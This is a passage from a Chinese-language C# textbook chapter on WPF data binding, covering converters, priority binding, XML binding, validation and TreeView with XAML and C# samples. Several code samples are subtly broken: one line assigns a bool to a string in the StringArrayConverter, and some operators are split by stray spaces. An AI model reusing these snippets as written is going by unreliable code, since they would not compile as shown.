MultiBindingSample/MainWindow.xaml): <Window x:Class="MultiBindingSample.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:system="clr-namespace:System; assembly=mscorlib" xmlns:local="clr-namespace:Wrox.ProCSharp.WPF" Title="Multi Binding" Height="240" Width="500"> <Window.Resources> <local:Person x:Key="person1" FirstName="Tom" LastName="Turbo" /> <local:PersonNameConverter x:Key="personNameConverter" /> </Window.Resources> <Grid DataContext="{StaticResource person1}"> <TextBox> <TextBox.Text> <MultiBinding Converter="{StaticResource personNameConverter}" > <MultiBinding.ConverterParameter> <system:String>FirstLast</system:String> </MultiBinding.ConverterParameter> <Binding Path="FirstName" /> <Binding Path="LastName" /> </MultiBinding> </TextBox.Text> </TextBox> </Grid> </Window> 多值转换器实现IMuitlValueConverter接口。这个接口定义了两个方法:Convert和 ConvertBack()。Convert()方法通过第一个参数从数据源中接收多个值,并把一个值 返回给目标。在实现代码中,根据参数的值是FirstName还是LastName,生成不同的结果 (代码文件MultiBindingSample/PersonNameConverter.cs): using System; using System.Globalization; using System.Windows.Data; namespace MultiBindingSample { public class PersonNameConverter : IMultiValueConverter { public object Convert(object[] values, Type targetType, object paramete r, CultureInfo culture) { switch (parameter as string) { case "FirstLast": return values[0] + " " + values[1]; case "LastFirst": return values[1] + ", " + values[0]; default: throw new ArgumentException($"invalid argument {parameter}"); } } public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture) { throw new NotSupportedException(); } } } 在这个简单的情形中,只把一些字符串与MultiBinding合并起来,并不需要实现 IMultiValue-Converter,定义一个格式字符串就足够了,如下面的XAML代码段所示。用 MultiBinding定义的格式字符串首先需要一个{}前缀。在XAML中,花括号通常定义一个 标记表达式。把{}用作前缀会转义这个符号,不定义标记表达式,而是表示它后面的是一 个通常的字符串。该示例指定,两个Binding元素用一个逗号和一个空白分隔开(代码文 件MultiBindingSample/MainWindow.xaml): <TextBox> <TextBox.Text> <MultiBinding StringFormat="{}{0}, {1}"> <Binding Path="LastName" /> <Binding Path="FirstName" /> </MultiBinding> </TextBox.Text> </TextBox> 34.7.9 优先绑定 PriorityBinding非常便于绑定还不可用的数据。如果通过PriorityBinding需要一定的时 间才能得到结果,就可以通知用户目前的进度,让用户知道需要等待。 为了说明优先绑定,使用PriorityBindingDemo项目来创建Data类。调用 Thread.Sleep()方法,来模拟访问ProcessSomeData属性需要一些时间(代码文件 PriorityBindingSample/Data.cs): public class Data { public string ProcessSomeData { get { Task.Delay(8000).Wait(); // blocking call return "the final result is here"; } } } Information类给用户提供信息。从Info2属性返回信息5秒后,立刻返回Info1属性的信 息。在实际的实现代码中,这个类可以与处理数据的类关联起来,从而给用户提供估计的 时间范围(代码文件PriorityBindingSample/Information.cs): public class Information { public string Info1 => "please wait..."; public string Info2 { get { Task.Delay(5000).Wait(); // blocking call return "please wait a little more"; } } } 在MainWindow.xaml文件中,在Window的资源内部引用并初始化Data类和Information 类(代码文件PriorityBindingDemo/MainWindow.xaml): <Window.Resources> <local:Data x:Key="data1" /> <local:Information x:Key="info" /> </Window.Resources> PriorityBinding在Label的Content属性中替代了正常的绑定。PriorityBinding包含多个 Binding元素,其中除了最后一个元素之外,其他元素都把IsAsyncs属性设置为True。因 此,如果第一个绑定表达式的结果不能立即使用,绑定进程就选择下一个绑定。第一个绑 定引用Data类的ProcessSomedata属性,这需要一些时间。所以,选择下一个绑定,并引用 Information类的Info2属性。Info2属性没有立刻返回结果,而且因为设置了IsAsyncs属性, 所以绑定进程不等待,而是继续处理下一个绑定。最后一个绑定使用Info1属性。如果它 没有立刻返回结果,就要等待,因为它的IsAsyncs属性设置为默认值False。 <Label> <Label.Content> <PriorityBinding> <Binding Path="ProcessSomeData" Source="{StaticResource data1}" IsAsync="True" /> <Binding Path="Info2" Source="{StaticResource info}" IsAsync="True" /> <Binding Path="Info1" Source="{StaticResource info}" IsAsync="False" /> </PriorityBinding> </Label.Content> </Label> 启动应用程序,会在用户界面中看到消息“please wait…”。几秒后从Info2属性返回结 果“please wait a little more”。它替换了Info1的输出。最后,ProcessSomeData的结果再次替 代了Info2的结果。 34.7.10 值的转换 返回到BooksDemo应用程序中。图书的作者还没有显示在用户界面中。如果将 Authors属性绑定到标签元素上,就要调用Array类的ToString()方法,它只返回类型的 名称。一种解决方法是将Authors属性绑定到一个列表框上。对于该列表框,可以定义一 个模板,以显示特定的视图。另一种解决方法是将Authors属性返回的字符串数组转换为 一个字符串,再将该字符串用于绑定。 StringArrayConverter类可以将字符串数组转换为字符串。WPF转换器类必须实现 System. Windows.Data名称空间中的IValueConverter接口。这个接口定义了Convert()和 ConvertBack()方法。在StringArrayConverter类中,Convert()方法会通过 String.Join()方法把value变量中的字符串数组转换为字符串。从Convert()方法接收的 parameter变量中提取Join()方法的分隔符参数(代码文件 BooksDemoLib/Utilities/StringArrayConverter.cs)。  注意: String类的方法的更多信息参见第10章。 using System; using System.Diagnostics.Contracts; using System.Globalization; using System.Windows.Data; namespace Wrox.ProCSharp.WPF.Utilities { [ValueConversion(typeof(string[]), typeof(string))] class StringArrayConverter : IValueConverter { public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { if (value == null) return null; string[] stringCollection = (string[])value; string separator = parameter == null; return String.Join(separator, stringCollection); } public object ConvertBack(object value, Type targetType, object parameter , CultureInfo culture) { throw new NotImplementedException(); } } } 在XAML代码中,StringArrayConverter类可以声明为一个资源,以便从Binding标记扩 展中引用它(代码文件BooksDemoLib/Controls/BooksUC.xaml): <UserControl x:Class="Wrox.ProCSharp.WPF.BooksUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:local="clr-namespace:Wrox.ProCSharp.WPF.Data" xmlns:utils="clr-namespace:Wrox.ProCSharp.WPF.Utilities" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <UserControl.Resources> <utils:StringArrayConverter x:Key="stringArrayConverter" /> <ObjectDataProvider x:Key="books" ObjectType="local:BookFactory" MethodName="GetBooks" /> </UserControl.Resources> <! -- etc. --> 为了输出多行结果,声明一个TextBlock元素,将其TextWrapping属性设置为Wrap, 以便可以显示多个作者。在Binding标记扩展中,将Path设置为Authors,它定义为一个返 回字符串数组的属性。Converter属性指定字符串数组从stringArrayConverter资源中转换。 转换器实现的Convert()方法接收ConverterParameter=', ’作为输入来分隔多个作者。 <TextBlock Text="{Binding Authors, Converter={StaticResource stringArrayConverter}, ConverterParameter=', '}" Grid.Row="3" Grid.Column="1" Margin="5" VerticalAlignment="Center" TextWrapping="Wrap" /> 图34-21显示了图书的详细信息,包括作者。 图34-21 34.7.11 动态添加列表项 如果列表项要动态添加,就必须通知WPF元素:要在列表中添加元素。 在WPF应用程序的XAML代码中,要给StackPanel添加一个按钮元素。给Click事件指 定OnAddBook()方法(代码文件BooksDemo/Controls/BooksUC.xaml): <StackPanel Orientation="Horizontal" DockPanel.Dock="Bottom" HorizontalAlignment="Center"> <Button Margin="5" Padding="4" Content="Add Book" Click="OnAddBook" /> </StackPanel> 在OnAddBook()方法中,将一个新的Book对象添加到列表中。如果用BookFactory 测试应用程序(因为它已实现),就不会通知WPF元素:已在列表中添加了一个新对象 (代码文件BooksDemoLib/Controls/BooksUC.xaml.cs)。 private void OnAddBook(object sender, RoutedEventArgs e) { ((this.FindResource("books") as ObjectDataProvider).Data as IList<Book>). Add(new Book("HTML and CSS: Design and Build Websites", "Wiley", "978-1118-00818-8")); } 赋予DataContext的对象必须实现INotifyCollectionChanged接口。这个接口定义了由 WPF应用程序使用的CollectionChanged事件。除了用自定义集合类实现这个接口之外,还 可以使用泛型集合类ObservableCollection<T>,该类在WindowsBase程序集的 System.Collections.ObjectModel名称空间中定义。现在,把一个新列表项添加到集合中, 这个新列表项会立即显示在列表框中(代码文件 BooksDemo/Models/BooksRepository.cs)。 public class BooksRepository { private ObservableCollection<Book> _books = new ObservableCollection<Book>( ); // etc. public IEnumerable<Book> GetBooks() => _books; } 34.7.12 动态添加选项卡中的项 在原则上,动态添加列表项与在选项卡控件中动态添加用户控件是一样的。目前,选 项卡中的项使用TabControl类中Items属性的Add方法来动态添加。下面的示例直接从代码 隐藏中引用TabControl。而使用数据绑定,选项卡中的项信息可以添加到 ObservableCollection<T>中。 BookSample应用程序中的代码现在改为给TabControl使用数据绑定。首先,定义类 UIControlInfo,这个类包含的属性在TabControl中用于数据绑定。Title属性用于给选项卡 中的项显示标题信息,Content属性用于显示该项的内容: using System.Windows.Controls; namespace Wrox.ProCSharp.WPF { public class UIControlInfo { public string Title { get; set; } public UserControl Content { get; set; } } } 现在需要一个可观察的集合,以允许选项卡控件刷新其项的信息。userControls是 MainWindow类的一个成员变量。属性Controls用于数据绑定,它返回集合(代码文件 BooksDemoRibbon/MainWindow. xaml.cs): private ObservableCollection<UIControlInfo> _userControls = new ObservableCollection<UIControlInfo>(); public IEnumerable<UIControlInfo> Controls => _userControls; 在XAML代码中修改了TabControl。ItemsSource属性绑定到Controls属性上。现在,需 要指定两个模板,一个模板ItemTemplate定义了项控件的标题,用ItemTemplate指定的 DataTemplate使用一个TextBlock元素,在项控件的标题中显示Text属性的值。另一个模板 是ContentTemplate,它指定使用ContentPresenter将绑定被绑定项的Content属性: <TabControl Margin="5" x:Name="tabControl1" ItemsSource="{Binding Controls}"> <TabControl.ContentTemplate> <DataTemplate> <ContentPresenter Content="{Binding Content}" /> </DataTemplate> </TabControl.ContentTemplate> <TabControl.ItemTemplate> <DataTemplate> <StackPanel Margin="0"> <TextBlock Text="{Binding Title}" Margin="0" /> </StackPanel> </DataTemplate> </TabControl.ItemTemplate> </TabControl> 现在,事件处理程序可以改为创建新的UIControlInfo对象,把它们添加到可观察的集 合中,而不是创建TabItem控件。与使用代码隐藏相比,修改项和内容模板是定制外观的 一种更简单方式: private void OnShowBooksList(object sender, ExecutedRoutedEventArgs e) { var booksUI = new BooksUC(); userControls.Add(new UIControlInfo { Title = "Books List", Content = booksUI }); } 34.7.13 数据模板选择器 第33章介绍了如何用模板来定制控件,还讨论了如何创建数据模板,为特定的数据类 型定义外观。数据模板选择器可以为同一个数据类型动态地创建不同的数据模板。数据模 板选择器在派生自DataTemplateSelector基类的类中实现。 下面实现的数据模板选择器根据发布者选择另一个模板。在用户控件的资源中,定义 这些模板。一个模板可以通过键名wroxTemplate来访问;另一个模板的键名是 dummiesTemplate;第3个模板的键名是bookTemplate(代码文件 BooksDemoLib/Controls/BooksUC.xaml): <DataTemplate x:Key="wroxTemplate" DataType="{x:Type local:Book}"> <Border Background="Red" Margin="10" Padding="10"> <StackPanel> <Label Content="{Binding Title}" /> <Label Content="{Binding Publisher}" /> </StackPanel> </Border> </DataTemplate> <DataTemplate x:Key="dummiesTemplate" DataType="{x:Type local:Book}"> <Border Background="Yellow" Margin="10" Padding="10"> <StackPanel> <Label Content="{Binding Title}" /> <Label Content="{Binding Publisher}" /> </StackPanel> </Border> </DataTemplate> <DataTemplate x:Key="bookTemplate" DataType="{x:Type local:Book}"> <Border Background="LightBlue" Margin="10" Padding="10"> <StackPanel> <Label Content="{Binding Title}" /> <Label Content="{Binding Publisher}" /> </StackPanel> </Border> </DataTemplate> 要选择模板,BookDataTemplateSelector类必须重写来自基类DataTemplateSelector的 SelectTemplate方法。其实现方式根据Book类的Publisher属性选择模板(代码文件 BooksDemoLib/Utilities/Book-TemplateSelector.cs): using System.Windows; using System.Windows.Controls; using BooksDemo; namespace BooksDemo.Utilities { public class BookTemplateSelector : DataTemplateSelector { public override DataTemplate SelectTemplate(object item, DependencyObject container) { if (item ! = null && item is Book) { var book = item as Book; switch (book.Publisher) { case "Wrox Press": return (container as FrameworkElement).FindResource( "wroxTemplate") as DataTemplate; case "For Dummies": return (container as FrameworkElement).FindResource( "dummiesTemplate") as DataTemplate; default: return (container as FrameworkElement).FindResource( "bookTemplate") as DataTemplate; } } return null; } } } 要从XAML代码中访问BookDataTemplateSelector类,这个类必须在Window资源中定 义(代码文件BooksDemoLib/Controls/BooksUC.xaml): <src:BookDataTemplateSelector x:Key="bookTemplateSelector" /> 现在可以把选择器类赋予ListBox的ItemTemplateSelector属性: <ListBox DockPanel.Dock="Left" ItemsSource="{Binding}" Margin="5" MinWidth="120" IsSynchronizedWithCurrentItem="True" ItemTemplateSelector="{StaticResource bookTemplateSelector}"> 运行这个应用程序,可以看到基于不同发布者的不同数据模板,如图34-22所示。 图34-22 34.7.14 绑定到XML上 WPF数据绑定还专门支持绑定到XML数据上。可以将XmlDataProvider用作数据源, 使用XPath表达式绑定元素。为了以层次结构显示,可以使用TreeView控件,通过 HierarchicalDataTemplate为对应项创建视图。 下面包含Book元素的XML文件将用作下一个例子的数据源(代码文件 XmlBindingSample/Books.xml): <? xml version="1.0" encoding="utf-8" ? > <Books> <Book isbn="978-1-118-31442-5"> <Title>Professional C# 2012</Title> <Publisher>Wrox Press</Publisher> <Author>Christian Nagel</Author> <Author>Jay Glynn</Author> <Author>Morgan Skinner</Author> </Book> <Book isbn="978-0-470-50226-6"> <Title>Beginning Visual C# 2010</Title> <Publisher>Wrox Press</Publisher> <Author>Karli Watson</Author> <Author>Christian Nagel</Author> <Author>Jacob Hammer Pedersen</Author> <Author>Jon D. Reid</Author> <Author>Morgan Skinner</Author> </Book> </Books> 与定义对象数据提供程序类似,也可以定义XML数据提供程序。ObjectDataProvider 和XmlDataProvider都派生自同一个DataSourceProvider基类。在示例的XmlDataProvider 中,把Source属性设置为引用XML文件books.xml。XPath属性定义了一个XPath表达式, 以引用XML根元素Books。Grid元素通过DataContext属性引用XML数据源。通过网格的数 据上下文,因为所有Book元素都需要列表绑定,所以把XPath表达式设置为Book。在网格 中,把列表框元素绑定到默认的数据上下文中,并使用DataTemplate将标题包含在 TextBlock元素中,作为列表框的项。在网格中,还有3个标签元素,把它们的数据绑定设 置为XPath表达式,以显示标题、出版社和ISBN号(代码文件 XmlBindingSample/MainWindow.xaml)。 <Window x:Class="XmlBindingDemo.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Main Window" Height="240" Width="500"> <Window.Resources> <XmlDataProvider x:Key="books" Source="Books.xml" XPath="Books" /> <DataTemplate x:Key="listTemplate"> <TextBlock Text="{Binding XPath=Title}" /> </DataTemplate> <Style x:Key="labelStyle" TargetType="{x:Type Label}"> <Setter Property="Width" Value="190" /> <Setter Property="Height" Value="40" /> <Setter Property="Margin" Value="5" /> </Style> </Window.Resources> <Grid DataContext="{Binding Source={StaticResource books}, XPath=Book}"> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <ListBox IsSynchronizedWithCurrentItem="True" Margin="5" Grid.Column="0" Grid.RowSpan="4" ItemsSource="{Binding}" ItemTemplate="{StaticResource listTemplate}" /> <Label Style="{StaticResource labelStyle}" Content="{Binding XPath=Title}" Grid.Row="0" Grid.Column="1" /> <Label Style="{StaticResource labelStyle}" Content="{Binding XPath=Publisher}" Grid.Row="1" Grid.Column="1" /> <Label Style="{StaticResource labelStyle}" Content="{Binding XPath=@isbn}" Grid.Row="2" Grid.Column="1" /> </Grid> </Window> 图34-23显示了XML绑定的结果。 图34-23  注意: 如果XML数据应以层次结构的方式显示,就可以使用TreeView控件。 34.7.15 绑定的验证和错误处理 在把数据用于.NET对象之前,有几个选项可用于验证用户的数据,这些选项如下: ● 处理异常 ● 数据错误信息的处理 ● 数据错误信息的通知 ● 自定义验证规则 1.处理异常 这里说明的一个选项是,如果在SomeData类中设置了无效值,则这个.NET类就抛出 一个异常。Value1属性只接受大于等于5且小于12的值(代码文件 ValidationSample/SomeData.cs): public class SomeData { private int _value1; public int Value1 { get { return _value1; } set { if (value < 5 || value > 12) { throw new ArgumentException( "value must not be less than 5 or greater than 12"); } _value1 = value; } } } 在MainWindow类的构造函数中,初始化SomeData类的一个新对象,并把它传递给 DataContext,用于数据绑定(代码文件ValidationSample/MainWindow.xaml.cs): public partial class MainWindow: Window { private SomeData _p1 = new SomeData { Value1 = 11 }; public MainWindow() { InitializeComponent(); this.DataContext = _p1; } 事件处理程序方法OnShowValue显示一个消息框,以显示SomeData实例的实际值: private void OnShowValue(object sender, RoutedEventArgs e) { MessageBox.Show(_p1.Value1.ToString()); } 通过简单的数据绑定,把文本框的Text属性绑定到Value1属性上。如果现在运行应用 程序,并试图把该值改为某个无效值,那么单击Submit按钮可以验证该值永远不会改变。 WPF会捕获并忽略Value1属性的set访问器抛出的异常(代码文件 ValidationSample/MainWindow.xaml)。 <Label Grid.Row="0" Grid.Column="0" >Value1:</Label> <TextBox Grid.Row="0" Grid.Column="1" Text="{Binding Path=Value1}" /> 要在输入字段的上下文发生变化时尽快显示错误,可以把Binding标记扩展的 ValidatesOnException属性设置为True。输入一个无效值(设置该值时,会很快抛出一个异 常),文本框就会以红线框出,如图34-24所示。 <Label Grid.Row="0" Grid.Column="0" >Value1:</Label> <TextBox Grid.Row="0" Grid.Column="1" Text="{Binding Path=Value1, ValidatesOnExceptions=True}" /> 图34-24 要以另一种方式给用户返回错误信息,Validation类定义了附加属性ErrorTemplate, 可以定义一个定制的ControlTemplate,把它赋予ErrorTemplate。下面代码中的 ControlTemplate在已有的控件内容前面添加了一个红色的感叹号。 <ControlTemplate x:Key="validationTemplate"> <DockPanel> <TextBlock Foreground="Red" FontSize="40">! </TextBlock> <AdornedElementPlaceholder/> </DockPanel> </ControlTemplate> 用Validation.ErrorTemplate附加属性设置validationTemplate会激活带文本框的模板: <Label Margin="5" Grid.Row="0" Grid.Column="0" >Value1:</Label> <TextBox Margin="5" Grid.Row="0" Grid.Column="1" Text="{Binding Path=Value1, ValidatesOnExceptions=True}" Validation.ErrorTemplate="{StaticResource validationTemplate}" /> 应用程序的新外观如图34-25所示。 图34-25  注意: 自定义错误消息的另一个选项是注册到Validation类的Error事件。这 里必须把NotifyOnValidationError属性设置为true。 可以从Validation类的Errors集合中访问错误信息。要在文本框的工具提示中显示错误 信息,可以创建一个属性触发器,如下所示。只要把Validation类的HasError属性设置为 True,就激活触发器。触发器设置文本框的ToolTip属性: <Style TargetType="{x:Type TextBox}"> <Style.Triggers> <Trigger Property="Validation.HasError" Value="True"> <Setter Property="ToolTip" Value="{Binding RelativeSource={x:Static RelativeSource.Self}, Path=(Validation.Errors)[0].ErrorContent}" /> </Trigger> </Style.Triggers> </Style> 2.数据错误信息 处理错误的另一种方式是确定.NET对象是否执行了IDataErrorInfo接口。SomeData类 现在改为实现IDataErrorInfo接口。这个接口定义了Error属性和带字符串参数的索引器。 在数据绑定的过程中验证WPF时,会调用索引器,并把要验证的属性名作为columnName 参数传递。在实现代码中,如果有效,会验证其值,如果无效,就传递一个错误字符串。 下面验证Value2属性,它使用C#自动属性标记实现(代码文件 ValidationSample/SomeData.cs)。 public class SomeData: IDataErrorInfo { // etc. public int Value2 { get; set; } string IDataErrorInfo.Error => null; string IDataErrorInfo.this[string columnName] { get { if (columnName == "Value2") { if (this.Value2 < 0 || this.Value2 > 80) return "age must not be less than 0 or greater than 80"; } return null; } } }  注意: 在.NET对象中,索引器返回什么内容并不清楚,例如,调用索引器, 会从Person类型的对象中返回什么?因此最好在IDataErrorInfo接口中包含显式的实现代 码。这样,这个索引器只能使用接口来访问,.NET类可以有另一种实现方式,以实现 其他目的。 如果把Binding类的ValidatesOnDataErrors属性设置为true,就在数据绑定过程中使用 IDataErrorInfo接口。这里,改变文本框时,绑定机制会调用接口的索引器,并把Value2传 递给columnName变量(代码文件ValidationSample/MainWindow.xaml): <Label Margin="5" Grid.Row="1" Grid.Column="0" >Value2:</Label> <TextBox Margin="5" Grid.Row="1" Grid.Column="1" Text="{Binding Path=Value2, ValidatesOnDataErrors=True }" /> 3.数据错误信息的通知 除了支持利用异常和IDataErrorInfo接口进行验证之外,.NET 4.5附带的WPF还支持利 用接口INotifyDataErrorInfo进行验证。在IDataErrorInfo接口中,属性的索引器可以返回一 个错误,而在INotifyDataErrorInfo中,可以把多个错误关联到一个属性上。这些错误可以 使用GetErrors方法来访问。如果实体有错误,HasErrors属性就返回true。这个接口的另一 个很好的功能是使用事件ErrorsChanged通知出了错误。这样,错误就可以在客户端异步 检索,例如,可以调用一个Web服务来验证用户输入。此时,在检索结果时,用户可以继 续处理输入表单,并获得不匹配情况的异步通知。 下面的示例使用INotifyDataErrorInfo进行验证。该示例定义基类 NotifyDataErrorInfoBase,这个基类实现了接口INotifyDataErrorInfo。它派生于基类 BindableObject,来获得INotifyPropertyChanged接口的实现,如本章前面所示。 NotifyDataErrorInfoBase使用字典errors来包含一个列表,列表中的每个属性都用于存储错 误信息。如果任何属性有错误,HasErrors属性就返回true。GetErrors方法返回一个属性的 错误列表;事件ErrorsChanged在每次改变错误信息时触发。除了接口INotifyDataErrorInfo 中的成员之外,这个基类还实现了方法SetErrors、ClearErrors和ClearAllErrors,以便于处 理设置错误(代码文件ValidationSample/NotifyDataErrorInfoBase.cs): using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Runtime.CompilerServices; namespace ValidationSamlple { public abstract class NotifyDataErrorInfoBase : BindableObject, INotifyDataErrorInfo { private Dictionary<string, List<string>> _errors = new Dictionary<string, List<string>>(); public void SetError(string errorMessage, [CallerMemberName] string propertyName = null) { List<string> errorList; if (_errors.TryGetValue(propertyName, out errorList)) { errorList.Add(errorMessage); } else { errorList = new List<string> { errorMessage }; _errors.Add(propertyName, errorList); } HasErrors = true; OnErrorsChanged(propertyName); } public void ClearErrors([CallerMemberName] string propertyName = null) { if (hasErrors) { List<string> errorList; if (_errors.TryGetValue(propertyName, out errorList)) { _errors.Remove(propertyName); } if (_errors.Count == 0) { HasErrors = false; } OnErrorsChanged(propertyName); } } public void ClearAllErrors() { if (HasErrors) { _errors.Clear(); HasErrors = false; OnErrorsChanged(null); } } public event EventHandler<DataErrorsChangedEventArgs> ErrorsChanged; public IEnumerable GetErrors(string propertyName) { List<string> errorsForProperty; bool err = _errors.TryGetValue(propertyName, out errorsForProperty); if (! err) return null; return errorsForProperty; } private bool hasErrors = false; public bool HasErrors { get { return hasErrors; } protected set { if (SetProperty(ref hasErrors, value)) { OnErrorsChanged(propertyName: null); } } } protected void OnErrorsChanged( [CallerMemberName] string propertyName = null) { ErrorsChanged? .Invoke(this, new DataErrorsChangedEventArgs(propertyName)); } } } 类SomeDataWithNotifications是绑定到XAML代码上的数据对象。这个类派生于基类 NotifyDataErrorInfoBase,继承了INotifyDataErrorInfo接口的实现代码。属性Val1是异步验 证的。对于验证,应在设置属性后调用CheckVal1方法,这个方法会异步调用方法 ValidationSimulator. Validate。调用这个方法后,UI线程就可以返回,来处理其他事件; 一旦返回了结果,若返回了一个错误,就调用基类的SetError方法。很容易把异步调用改 为调用Web服务或执行另一个异步操作(代码文件 ValidationSample/SomeDataWithNotifications.cs): using System.Runtime.CompilerServices; using System.Threading.Tasks; namespace ValidationSample { public class SomeDataWithNotifications : NotifyDataErrorInfoBase { private int val1; public int Val1 { get { return val1; } set { SetProperty(ref val1, value); CheckVal1(val1, value); } } private async void CheckVal1(int oldValue, int newValue, [CallerMemberName] string propertyName = null) { ClearErrors(propertyName); string result = await ValidationSimulator.Validate( newValue, propertyName); if (result ! = null) { SetError(result, propertyName); } } } ValidationSimulator的Validate方法在检查值之前推迟了3秒,如果该值大于50,就返 回一个错误消息(代码文件ValidationSample/ValidationSimulator.cs): public static class ValidationSimulator { public static Task<string> Validate(int val, [CallerMemberName] string propertyName = null) { return Task<string>.Run(async () => { await Task.Delay(3000); if (val > 50) return "bad value"; else return null; }); } } 在数据绑定中,只有ValidatesOnNotifyDataErrors属性必须设置为True,才能使用接口 INotifyDataErrorInfo的异步验证功能(代码文件 ValidationDemo/NotificationWindow.xaml): <TextBox Grid.Row="0" Grid.Column="1" Text="{Binding Val1, ValidatesOnNotifyDataErrors=True}" Margin="8" /> 运行应用程序,就可以看到在输入错误的信息后,文本框被默认的红色矩形包围了3 秒。以不同的方式显示错误信息也可以用以前的方式实现——使用错误模板和触发器,来 访问验证错误。 4.自定义验证规则 为了更多地控制验证方式,可以实现自定义验证规则。实现自定义验证规则的类必须 派生自基类ValidationRule。在前面的两个例子中,也使用了验证规则。派生自 ValidationRule抽象基类的两个类是DataErrorValidationRule和ExceptionValidationRule。设 置ValidatesOnDataErrors属性,并使用IDataErrorInfo接口,就可以激活 DataErrorValidationRule。ExceptionValidationRule处理异常,设置ValidationOnException属 性会激活ExceptionValidationRule。 下面的示例实现一条验证规则,来验证正则表达式。RegularExpressionValidationRule 类派生自基类ValidationRule,并重写基类定义的抽象方法Validate。在其实现代码中,使 用System.Text.RegularEx-pressions名称空间中的RegEx类验证Expression属性定义的表达 式。 public class RegularExpressionValidationRule : ValidationRule { public string Expression { get; set; } public string ErrorMessage { get; set; } public override ValidationResult Validate(object value, CultureInfo cultureInfo) { ValidationResult result = null; if (value ! = null) { var regEx = new Regex(Expression); bool isMatch = regEx.IsMatch(value.ToString()); result = new ValidationResult(isMatch, isMatch ? null: ErrorMessage); } return result; } }  注意: 正则表达式参见第10章。 这里没有使用Binding标记扩展,而是把绑定作为TextBox.Text元素的一个子元素。绑 定的对象现在定义一个Email属性,它用简单的属性语法来实现。UpdateSourceTrigger属 性定义绑定源何时应更新。更新绑定源的可能选项如下: ● 当属性值变化时更新,即用户输入属性值中的每个字符时更新 ● 失去焦点时更新 ● 显式指定更新时间 ValidationRules是Binding类的一个属性,Binding类包含ValidationRule元素。这里使 用的验证规则是自定义类RegularExpressionValidationRule,其中把Expression属性设置为 一个正则表达式,正则表达式用于验证输入是否是有效的电子邮件,ErrorMessage属性给 出TextBox中的输入数据无效时显示的错误消息: <Label Margin="5" Grid.Row="2" Grid.Column="0">Email:</Label> <TextBox Margin="5" Grid.Row="2" Grid.Column="1"> <TextBox.Text> <Binding Path="Email" UpdateSourceTrigger="LostFocus"> <Binding.ValidationRules> <src:RegularExpressionValidationRule Expression="^([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\. [0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}| [0-9]{1,3})(\]?)$" ErrorMessage="Email is not valid" /> </Binding.ValidationRules> </Binding> </TextBox.Text> </TextBox> 34.8 TreeView TreeView控件可以显示分层数据。绑定到TreeView非常类似于前面的绑定到 ListBox,其区别是绑定到TreeView会显示分层数据——可以使用 HierarchicalDataTemplate。 下面的示例使用分层显示方式和DataGrid控件。Formula1样本数据库通过ADO.NET Entity Framework来访问。模型类型如图34-26所示。Race类包含竞赛日期的信息,且关联 到Circuit类上。Circuit类包含Country和竞赛环形跑道的信息。Race类还与RaceResult类关 联起来。RaceResult类包含Racer和Team的信息。 图34-26  注意: 在Formula1Demo示例的Database目录下,可以找到Formula1Demo项 目使用的Formula1数据库,它作为一个备份文件。在运行示例应用程序之前,请使用 SQL Server Management Studio把备份文件恢复到Formula1数据库中。  注意: ADO.NET Entity Framework参见第38章。 使用XAML代码声明一个TreeView。TreeView派生自基类ItemsControl,其中,与列 表的绑定可以通过ItemsSource属性来完成。把ItemsSource属性绑定到数据上下文上。数据 上下文在代码隐藏中指定,如下所示。当然,这也可以通过ObjectDataProvider来实现。为 了定义分层数据的自定义显示方式,定义了HierarchicalDataTemplate元素。这里的数据模 板是用DataType属性为特定的数据类型定义的。第一个HierarchicalDataTemplate是 Championship类的模板,它把这个类的Year属性绑定到TextBlock的Text属性上。 ItemsSource属性定义了该数据模板本身的绑定,以指定数据层次结构中的下一层。如果 Championship类的Races属性返回一个集合,就直接把ItemsSource属性绑定到Races上。但 是,因为这个属性返回一个Lazy<T>对象,所以绑定到Races.Value上。Lazy<T>类的优点 在本章后面讨论。 第二个HierarchicalDataTemplate元素定义F1Race类的模板,并绑定这个类的Country和 Date属性。利用Date属性,通过绑定定义一个StringFormat。把ItemsSource属性绑定到 Races.Value上,来定义层次结构中的下一层。 因为F1RaceResult类没有子集合,所以层次结构到此为止。对于这个数据类型,定义 一个正常的DataTemplate,来绑定Position、Racer和Car属性(代码文件 Formula1Demo/Controls/TreeUC.xaml): <UserControl x:Class="Formula1Demo.Controls.TreeUC" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:local="clr-namespace:Formula1Demo" mc:Ignorable="d" d:DesignHeight="300" d:DesignWidth="300"> <Grid> <TreeView ItemsSource="{Binding}" > <TreeView.Resources> <HierarchicalDataTemplate DataType="{x:Type local:Championship}" ItemsSource="{Binding Races.Value}"> <TextBlock Text="{Binding Year}" /> </HierarchicalDataTemplate> <HierarchicalDataTemplate DataType="{x:Type local:F1Race}" ItemsSource="{Binding Results.Value}"> <StackPanel Orientation="Horizontal"> <TextBlock Text="{Binding Country}" Margin="5,0,5,0" /> <TextBlock Text="{Binding Date, StringFormat=d}" Margin="5,0,5,0" /> </StackPanel> </HierarchicalDataTemplate> <DataTemplate DataType="{x:Type local:F1RaceResult}"> <StackPanel Orientation="Horizontal"> <TextBlock Text="{Binding Position}" Margin="5,0,5,0" /> <TextBlock Text="{Binding Racer}" Margin="5,0,0,0" /> <TextBlock Text=", " /> <TextBlock Text="{Binding Car}" /> </StackPanel> </DataTemplate> </TreeView.Resources> </TreeView> </Grid> </UserControl> 